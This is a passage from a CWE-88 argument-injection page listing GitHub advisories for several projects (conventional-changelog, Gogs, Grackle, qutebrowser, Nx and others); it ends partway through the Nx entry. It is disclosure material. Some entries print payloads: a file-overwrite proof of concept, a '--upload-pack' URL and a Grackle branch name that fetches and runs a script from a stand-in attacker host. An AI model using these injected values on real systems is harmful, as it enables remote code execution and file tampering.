CWE-88
AllowedImproper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Abstraction: Base · Status: Draft
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
734 vulnerabilities reference this CWE, most recent first.
GHSA-VH25-5764-9WCR
Vulnerability from github – Published: 2025-09-22 18:01 – Updated: 2025-09-22 21:59Background on exploitation
This vulnerability manifests with the library's getTags() API,
which allows specifying extra parameters passed to the git log command. In another API by this library - getRawCommits() there are secure practices taken to ensure that the extra parameter path is unable to inject an argument by ending the git log command with the special shell syntax --.
However, the library does not follow the same practice for getTags() not attempts to sanitize for user input, validate the given params, or restrcit them to an allow list. Nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.
Thus, allowing users to exploit an argument injection vulnerability in Git due to the
--output= command-line option that results with overwriting arbitrary files.
Exploit
- Install
@conventional-changelog/git-client@1.0.1or earlier - Prepare a Git directory to be used as source
- Create the following script for the proof-of-concept:
import {
GitClient,
} from "@conventional-changelog/git-client";
async function main() {
const gitDirectory = "/tmp/some-git-directory";
const client = new GitClient(gitDirectory);
const params = ["--output=/tmp/r2d2"];
for await (const tag of client.getTags(params)) {
console.log(tag);
}
}
main();
- Observe new file created on disk at
/tmp/r2d2
Impact
While the scope is only limited to writing a file with input from the git log result, it still allows to specify and overwrite any arbitrary files on disk, such as .env or as far as critical system configuration at /etc if the application is running as privileged root user.
It may be the library's design choice to expose a generic params object to allow any consuming users to specify random Git command line arguments, however it could be abused by attackers when developers aren't aware of the security risks which aren't communicated. As such, I recommend not ignoring, and either patching this insecure design gap with hardened secure coding practices (like in other APIs mentioned previously) or adding a security disclaimer to this library's documentation.
Author / Credit
Liran Tal
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@conventional-changelog/git-client"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59433"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-22T18:01:01Z",
"nvd_published_at": "2025-09-22T20:15:38Z",
"severity": "MODERATE"
},
"details": "## Background on exploitation\n\nThis vulnerability manifests with the library\u0027s `getTags()` API,\nwhich allows specifying extra parameters passed to the `git log` command. In another API by this library - `getRawCommits()` there are secure practices taken to ensure that the extra parameter `path` is unable to inject an argument by ending the `git log` command with the special shell syntax `--`.\nHowever, the library does not follow the same practice for `getTags()` not attempts to sanitize for user input, validate the given params, or restrcit them to an allow list. Nor does it properly pass command-line flags to the `git` binary using the double-dash POSIX characters (`--`) to communicate the end of options.\n\nThus, allowing users to exploit an argument injection vulnerability in Git due to the\n`--output=` command-line option that results with overwriting arbitrary files.\n\n## Exploit\n\n1. Install `@conventional-changelog/git-client@1.0.1` or earlier\n2. Prepare a Git directory to be used as source\n3. Create the following script for the proof-of-concept:\n\n```js\nimport {\n GitClient,\n} from \"@conventional-changelog/git-client\";\n\nasync function main() {\n const gitDirectory = \"/tmp/some-git-directory\";\n const client = new GitClient(gitDirectory);\n\n const params = [\"--output=/tmp/r2d2\"];\n for await (const tag of client.getTags(params)) {\n console.log(tag);\n }\n}\n\nmain();\n```\n\n3. Observe new file created on disk at `/tmp/r2d2`\n\n## Impact\n\nWhile the scope is only limited to writing a file with input from the git log result, it still allows to specify and overwrite any arbitrary files on disk, such as `.env` or as far as critical system configuration at `/etc` if the application is running as privileged `root` user.\n\nIt may be the library\u0027s design choice to expose a generic `params` object to allow any consuming users to specify random Git command line arguments, however it could be abused by attackers when developers aren\u0027t aware of the security risks which aren\u0027t communicated. As such, I recommend not ignoring, and either patching this insecure design gap with hardened secure coding practices (like in other APIs mentioned previously) or adding a security disclaimer to this library\u0027s documentation.\n\n# Author / Credit\n\nLiran Tal",
"id": "GHSA-vh25-5764-9wcr",
"modified": "2025-09-22T21:59:10Z",
"published": "2025-09-22T18:01:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/conventional-changelog/conventional-changelog/security/advisories/GHSA-vh25-5764-9wcr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59433"
},
{
"type": "WEB",
"url": "https://github.com/conventional-changelog/conventional-changelog/commit/d95c9ffac05af58228bd89fa0ba37ad65741c6a2"
},
{
"type": "PACKAGE",
"url": "https://github.com/conventional-changelog/conventional-changelog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "@conventional-changelog/git-client has Argument Injection vulnerability"
}
GHSA-VM62-9JW3-C8W3
Vulnerability from github – Published: 2024-12-23 20:38 – Updated: 2024-12-23 20:38Impact
When the built-in SSH server is enabled ([server] START_SSH_SERVER = true), unprivileged user accounts with at least one SSH key can execute arbitrary commands on the Gogs instance with the privileges of the user specified by RUN_USER in the configuration. It allows attackers to access and alter any users' code hosted on the same instance.
Patches
The env command sent to the internal SSH server has been changed to be a passthrough (https://github.com/gogs/gogs/pull/7868), i.e. the feature is effectively removed. Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
Disable the use of built-in SSH server on operating systems other than Windows.
References
https://www.cve.org/CVERecord?id=CVE-2024-39930
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.13.0"
},
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39930"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-23T20:38:34Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Impact\n\nWhen the built-in SSH server is enabled (`[server] START_SSH_SERVER = true`), unprivileged user accounts with at least one SSH key can execute arbitrary commands on the Gogs instance with the privileges of the user specified by `RUN_USER` in the configuration. It allows attackers to access and alter any users\u0027 code hosted on the same instance.\n\n### Patches\n\nThe `env` command sent to the internal SSH server has been changed to be a passthrough (https://github.com/gogs/gogs/pull/7868), i.e. the feature is effectively removed. Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\n[Disable the use of built-in SSH server](https://github.com/gogs/gogs/blob/7adac94f1e93cc5c3545ea31688662dcef9cd737/conf/app.ini#L76-L77) on operating systems other than Windows.\n\n### References\n\nhttps://www.cve.org/CVERecord?id=CVE-2024-39930\n",
"id": "GHSA-vm62-9jw3-c8w3",
"modified": "2024-12-23T20:38:34Z",
"published": "2024-12-23T20:38:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-vm62-9jw3-c8w3"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/argument-injection-in-gogs-ssh-server-cve-2024-39930"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AC:L/AV:N/A:H/C:H/I:H/PR:L/S:C/UI:N",
"type": "CVSS_V3"
}
],
"summary": "Gogs has an argument Injection in the built-in SSH server"
}
GHSA-VPMQ-JXF9-C55V
Vulnerability from github – Published: 2026-09-23 21:30 – Updated: 2026-09-24 06:31A flaw was found in Red Hat Ansible Automation Platform's automation- controller. The Project scm_url field is not validated against values that begin with a dash and is stored and passed verbatim to the git SCM module. Because the module runs git ls-remote with the URL as a positional argument and without a "--" separator, a git project URL such as "--upload-pack=:x" is interpreted by git as the --upload-pack option and executed via a shell. A user with permission to create or modify a project in a single organization can thereby execute arbitrary commands on the control-plane task pod, with output reflected through the project update stdout endpoint, leading to cross-tenant compromise and in-cluster lateral movement
{
"affected": [],
"aliases": [
"CVE-2026-84502"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-23T19:19:40Z",
"severity": "CRITICAL"
},
"details": "A flaw was found in Red Hat Ansible Automation Platform\u0027s automation-\ncontroller. The Project scm_url field is not validated against values that\nbegin with a dash and is stored and passed verbatim to the git SCM module.\nBecause the module runs git ls-remote with the URL as a positional argument and\nwithout a \"--\" separator, a git project URL such as \"--upload-pack=\u003ccommand\u003e:x\"\nis interpreted by git as the --upload-pack option and executed via a shell. A\nuser with permission to create or modify a project in a single organization can\nthereby execute arbitrary commands on the control-plane task pod, with output\nreflected through the project update stdout endpoint, leading to cross-tenant\ncompromise and in-cluster lateral movement",
"id": "GHSA-vpmq-jxf9-c55v",
"modified": "2026-09-24T06:31:13Z",
"published": "2026-09-23T21:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84502"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:71113"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:71114"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:71115"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:71177"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:71179"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-84502"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2527096"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VPVW-RGV5-VH74
Vulnerability from github – Published: 2026-01-24 03:30 – Updated: 2026-01-26 21:30Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability in Salesforce Marketing Cloud Engagement (MicrositeUrl module) allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 21st, 2026.
{
"affected": [],
"aliases": [
"CVE-2026-22582"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-24T01:15:49Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027) vulnerability in Salesforce Marketing Cloud Engagement (MicrositeUrl module) allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 21st, 2026.",
"id": "GHSA-vpvw-rgv5-vh74",
"modified": "2026-01-26T21:30:36Z",
"published": "2026-01-24T03:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22582"
},
{
"type": "WEB",
"url": "https://help.salesforce.com/s/articleView?id=005299346\u0026type=1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VV65-F55V-XM6G
Vulnerability from github – Published: 2026-07-02 19:16 – Updated: 2026-07-02 19:16Summary
The default git executor used for all worktree operations spawns git through a shell, and the untrusted task branch name flows into the command unsanitized. A caller able to reach the PowerLine SpawnSession RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve arbitrary command execution as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.
This advisory bundles two related defects in worktree.ts (audit findings F1 and F13).
Affected versions
@grackle-ai/runtime-sdk (and reachable via @grackle-ai/powerline) at version 0.132.1 and earlier. All publishable packages are lockstep-versioned.
F1 — Command injection via shell:true (primary, High)
Location: packages/runtime-sdk/src/worktree.ts:22-28 (sink), :135-143 (branch → args). Source: packages/powerline/src/grpc-server.ts:112 (req.branch), packages/runtime-sdk/src/base-session.ts:60,137.
NODE_GIT_EXECUTOR.exec runs:
const shell = process.env.SHELL || true; // worktree.ts:24 — always truthy
const result = await execRaw("git", args, { ...options, shell });
When shell is truthy, Node does not pass args as a safe argv vector — it concatenates git + args into a single string run through sh -c with no escaping. The untrusted branch flows unvalidated from the SpawnSession gRPC request into:
["worktree", "add", "-b", branch, wtPath, startPoint] // worktree.ts:135-137
["worktree", "add", wtPath, branch] // fallback :143
sanitizeBranch() (worktree.ts:50) is applied only to compute the on-disk worktree directory path — not to the -b <branch> argument — so it provides zero protection at the injection sink.
Exploit: set a task branch to x;curl http://attacker/x.sh|sh;# or $(touch /tmp/pwned). ensureWorktree runs it under sh -c, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value evilbranch;touch /tmp/PWNED created the file.)
The sibling git path in runtime-utils.ts:48-56 already uses execFileAsync("git", [...]) with no shell, confirming shell:true is unnecessary here.
F13 — Argument injection: missing -- separator (residual, Low)
Location: packages/runtime-sdk/src/worktree.ts:135-143.
Independent of the shell issue, branch is placed as a positional argument with no -- terminator. The sibling checkoutBranch (runtime-utils.ts:51) correctly uses ["checkout", "--", branch]. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; git worktree add exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1.
Remediation
- Remove
shellfromNODE_GIT_EXECUTOR—execFile('git', args)with the argv array is already safe and is the pattern used inruntime-utils.ts. This is the primary fix. - Add a
--separator before positional refs/paths in bothworktree addinvocations. - Defense in depth: validate
branchat the gRPC boundary (grpc-server.ts) against git ref rules — reject names beginning with-, containing.., or containing shell metacharacters — before it reachesensureWorktree.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@grackle-ai/runtime-sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.132.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@grackle-ai/powerline"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.132.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:16:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.\n\nThis advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**).\n\n## Affected versions\n\n`@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned.\n\n## F1 \u2014 Command injection via `shell:true` (primary, High)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch \u2192 args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`.\n\n`NODE_GIT_EXECUTOR.exec` runs:\n\n```ts\nconst shell = process.env.SHELL || true; // worktree.ts:24 \u2014 always truthy\nconst result = await execRaw(\"git\", args, { ...options, shell });\n```\n\nWhen `shell` is truthy, Node does **not** pass `args` as a safe argv vector \u2014 it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into:\n\n```ts\n[\"worktree\", \"add\", \"-b\", branch, wtPath, startPoint] // worktree.ts:135-137\n[\"worktree\", \"add\", wtPath, branch] // fallback :143\n```\n\n`sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path \u2014 *not* to the `-b \u003cbranch\u003e` argument \u2014 so it provides zero protection at the injection sink.\n\n**Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.)\n\nThe sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync(\"git\", [...])` with **no** shell, confirming `shell:true` is unnecessary here.\n\n## F13 \u2014 Argument injection: missing `--` separator (residual, Low)\n\n**Location:** `packages/runtime-sdk/src/worktree.ts:135-143`.\n\nIndependent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `[\"checkout\", \"--\", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited \u2014 but it should be hardened alongside F1.\n\n## Remediation\n\n1. **Remove `shell` from `NODE_GIT_EXECUTOR`** \u2014 `execFile(\u0027git\u0027, args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix.\n2. Add a `--` separator before positional refs/paths in both `worktree add` invocations.\n3. **Defense in depth:** validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules \u2014 reject names beginning with `-`, containing `..`, or containing shell metacharacters \u2014 before it reaches `ensureWorktree`.",
"id": "GHSA-vv65-f55v-xm6g",
"modified": "2026-07-02T19:16:57Z",
"published": "2026-07-02T19:16:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nick-pape/grackle/security/advisories/GHSA-vv65-f55v-xm6g"
},
{
"type": "PACKAGE",
"url": "https://github.com/nick-pape/grackle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)"
}
GHSA-VW27-FWJF-5QXM
Vulnerability from github – Published: 2021-10-22 16:20 – Updated: 2024-10-16 20:48Impact
Starting with qutebrowser v1.7.0, the Windows installer for qutebrowser registers it as a handler for certain URL schemes. With some applications such as Outlook Desktop, opening a specially crafted URL can lead to argument injection, allowing execution of qutebrowser commands, which in turn allows arbitrary code execution via commands such as :spawn or :debug-pyeval.
Only Windows installs where qutebrowser is registered as URL handler are affected. It does not have to be set as default browser for the exploit to work.
Patches
The issue has been fixed in qutebrowser v2.4.0 in commit 8f46ba3f6dc7b18375f7aa63c48a1fe461190430.
The fix also adds additional hardening for potential similar issues on Linux (by adding the new --untrusted-args flag to the .desktop file), though no such vulnerabilities are known.
Backported patches for older versions are available, but no further releases are planned:
- v1.7.x: d1ceaab
- v1.8.x: ca7155d
- v1.9.x: 157d871
- v1.10.x: 94a6125
- v1.11.x: 10acfbb
- v1.12.x: 363a18f
- v1.13.x: 410f262
- v1.14.x: e4f4d93
- v2.0.x: 15a1654
- v2.1.x: 509ddf2
- v2.2.x: 03dcba5
- v2.3.x: 00a694c
(commits are referring to qutebrowser/qutebrowser on GitHub)
Workarounds
Remove qutebrowser from the default browser settings entirely, so that it does not handle any kind of URLs. Make sure to remove all handlers, including an (accidental) qutebrowserURL handler, e.g. using NirSoft URLProtocolView.
Timeline
2021-10-15: Issue reported via security@qutebrowser.org by Ping Fan (Zetta) Ke of Valkyrie-X Security Research Group (VXRL) 2021-10-15: Issue confirmed by @The-Compiler (lead developer), author of installer (@bitraid) contacted for help/review 2021-10-15: CVE assigned by GitHub 2021-10-15 to 2021-10-17: Fix developed 2021-10-17: Additional core developer (@toofar) contacted for help/review 2021-10-21: v2.4.0 released containing the fix 2021-10-21: Advisory and fix published
References
See the commit message for additional information and references to various similar issues in other projects.
Acknowledgements
Thanks to Ping Fan (Zetta) Ke of Valkyrie-X Security Research Group (VXRL/@vxresearch) for finding and responsibly disclosing this issue.
Contact
If you have any questions or comments about this advisory, please email security@qutebrowser.org.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "qutebrowser"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41146"
],
"database_specific": {
"cwe_ids": [
"CWE-641",
"CWE-77",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-21T20:46:42Z",
"nvd_published_at": "2021-10-21T18:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nStarting with qutebrowser v1.7.0, the Windows installer for qutebrowser registers it as a handler for certain URL schemes. With some applications such as Outlook Desktop, opening a specially crafted URL can lead to argument injection, allowing execution of qutebrowser commands, which in turn allows arbitrary code execution via commands such as `:spawn` or `:debug-pyeval`.\n\nOnly Windows installs where qutebrowser is registered as URL handler are affected. It does *not* have to be set as default browser for the exploit to work.\n\n### Patches\nThe issue has been fixed in [qutebrowser v2.4.0](https://github.com/qutebrowser/qutebrowser/releases/tag/v2.4.0) in commit 8f46ba3f6dc7b18375f7aa63c48a1fe461190430.\n\nThe fix also adds additional hardening for potential similar issues on Linux (by adding the new `--untrusted-args` flag to the `.desktop` file), though no such vulnerabilities are known.\n\nBackported patches for older versions are available, but no further releases are planned:\n\n- v1.7.x: d1ceaab\n- v1.8.x: ca7155d\n- v1.9.x: 157d871\n- v1.10.x: 94a6125\n- v1.11.x: 10acfbb\n- v1.12.x: 363a18f\n- v1.13.x: 410f262\n- v1.14.x: e4f4d93\n- v2.0.x: 15a1654\n- v2.1.x: 509ddf2\n- v2.2.x: 03dcba5\n- v2.3.x: 00a694c\n\n(commits are referring to qutebrowser/qutebrowser on GitHub)\n\n### Workarounds\nRemove qutebrowser from the default browser settings entirely, so that it does not handle any kind of URLs. Make sure to remove *all* handlers, including an (accidental) `qutebrowserURL` handler, e.g. using [NirSoft URLProtocolView](https://www.nirsoft.net/utils/url_protocol_view.html).\n\n### Timeline\n2021-10-15: Issue reported via security@qutebrowser.org by Ping Fan (Zetta) Ke of [Valkyrie-X Security Research Group (VXRL)](https://www.vxrl.hk/)\n2021-10-15: Issue confirmed by @The-Compiler (lead developer), author of installer (@bitraid) contacted for help/review\n2021-10-15: CVE assigned by GitHub\n2021-10-15 to 2021-10-17: Fix developed\n2021-10-17: Additional core developer (@toofar) contacted for help/review\n2021-10-21: v2.4.0 released containing the fix\n2021-10-21: Advisory and fix published\n\n### References\nSee the [commit message](https://github.com/qutebrowser/qutebrowser/commit/8f46ba3f6dc7b18375f7aa63c48a1fe461190430) for additional information and references to various similar issues in other projects.\n\n### Acknowledgements\nThanks to Ping Fan (Zetta) Ke of [Valkyrie-X Security Research Group](https://www.vxrl.hk/) (VXRL/@vxresearch) for finding and responsibly disclosing this issue.\n\n### Contact\nIf you have any questions or comments about this advisory, please email [security@qutebrowser.org](mailto:security@qutebrowser.org).",
"id": "GHSA-vw27-fwjf-5qxm",
"modified": "2024-10-16T20:48:13Z",
"published": "2021-10-22T16:20:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/qutebrowser/qutebrowser/security/advisories/GHSA-vw27-fwjf-5qxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41146"
},
{
"type": "WEB",
"url": "https://github.com/qutebrowser/qutebrowser/commit/8f46ba3f6dc7b18375f7aa63c48a1fe461190430"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/qutebrowser/PYSEC-2021-382.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/qutebrowser/qutebrowser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary command execution on Windows via qutebrowserurl: URL handler"
}
GHSA-VWRX-C7F2-W23M
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04KuaiFanCMS V5.x contains an arbitrary file read vulnerability in the html_url parameter of the chakanhtml.module.php file.
{
"affected": [],
"aliases": [
"CVE-2021-3256"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-11T20:15:00Z",
"severity": "MODERATE"
},
"details": "KuaiFanCMS V5.x contains an arbitrary file read vulnerability in the html_url parameter of the chakanhtml.module.php file.",
"id": "GHSA-vwrx-c7f2-w23m",
"modified": "2022-05-24T19:04:57Z",
"published": "2022-05-24T19:04:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3256"
},
{
"type": "WEB",
"url": "https://github.com/poropro/kuaifan/issues/3"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VX65-QFV7-JCF4
Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08Insufficient sanitization of arguments passed to rsync can bypass the restrictions imposed by rssh, a restricted shell that should restrict users to perform only rsync operations, resulting in the execution of arbitrary shell commands.
{
"affected": [],
"aliases": [
"CVE-2019-3463"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-06T19:29:00Z",
"severity": "CRITICAL"
},
"details": "Insufficient sanitization of arguments passed to rsync can bypass the restrictions imposed by rssh, a restricted shell that should restrict users to perform only rsync operations, resulting in the execution of arbitrary shell commands.",
"id": "GHSA-vx65-qfv7-jcf4",
"modified": "2022-05-13T01:08:14Z",
"published": "2022-05-13T01:08:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3463"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00007.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HO3MDU3AH5SLYBKHH5PJ6PHC63ASIF42"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KR2OHTHMJVV4DO3HDRFQQZ5JENHDJQEN"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T42YYNWJZG422GATWAHAEK4A24OKY557"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202007-29"
},
{
"type": "WEB",
"url": "https://tracker.debian.org/news/1026713/accepted-rssh-234-5deb9u2-source-amd64-into-stable-embargoed-stable"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3946-1"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4382"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/May/78"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106839"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W287-4MR4-4V3V
Vulnerability from github – Published: 2024-08-12 21:31 – Updated: 2025-10-22 00:33A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones, including the 6970 Conference Unit, through R6.4.0.HF1 (R6.4.0.136) could allow an authenticated attacker with administrative privilege to conduct an argument injection attack, due to insufficient parameter sanitization during the boot process. A successful exploit could allow an attacker to execute arbitrary commands within the context of the system.
{
"affected": [],
"aliases": [
"CVE-2024-41710"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-12T19:15:16Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones, including the 6970 Conference Unit, through R6.4.0.HF1 (R6.4.0.136) could allow an authenticated attacker with administrative privilege to conduct an argument injection attack, due to insufficient parameter sanitization during the boot process. A successful exploit could allow an attacker to execute arbitrary commands within the context of the system.",
"id": "GHSA-w287-4mr4-4v3v",
"modified": "2025-10-22T00:33:05Z",
"published": "2024-08-12T21:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41710"
},
{
"type": "WEB",
"url": "https://github.com/kwburns/CVE/blob/main/Mitel/6.3.0.1020/README.md"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-41710"
},
{
"type": "WEB",
"url": "https://www.mitel.com/support/security-advisories"
},
{
"type": "WEB",
"url": "https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-24-0019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W2VW-W76X-QR89
Vulnerability from github – Published: 2026-10-05 23:29 – Updated: 2026-10-05 23:29Summary
Nx core builds several git invocations as shell command strings with untrusted values interpolated into them, so a value that should be a git revision or ref is parsed by /bin/sh instead. Two entry points are reachable by an attacker: affected commands, where defaultBase / affected.defaultBase from nx.json (and the NX_BASE / NX_HEAD environment variables) reach git merge-base and git diff; and nx import, where a branch name advertised by a remote repository reaches git fetch, git checkout, and git config. In both cases an attacker who controls a repository — or who opens a pull request against one — gets arbitrary command execution on the machine of anyone who runs an ordinary Nx command against it, including CI runners.
The affected path is the more serious of the two. nx affected and nx show projects --affected run constantly in CI, so a pull request that changes nothing but nx.json is enough to execute code on the runner with whatever credentials that job holds.
Severity
Exploitable by anyone who controls repository content — a fork's pull request, or a repository the victim clones — that the victim then runs an ordinary nx affected or nx import against; no access to the victim's machine is required. We have no evidence of exploitation in the wild.
Affected & Patched Versions
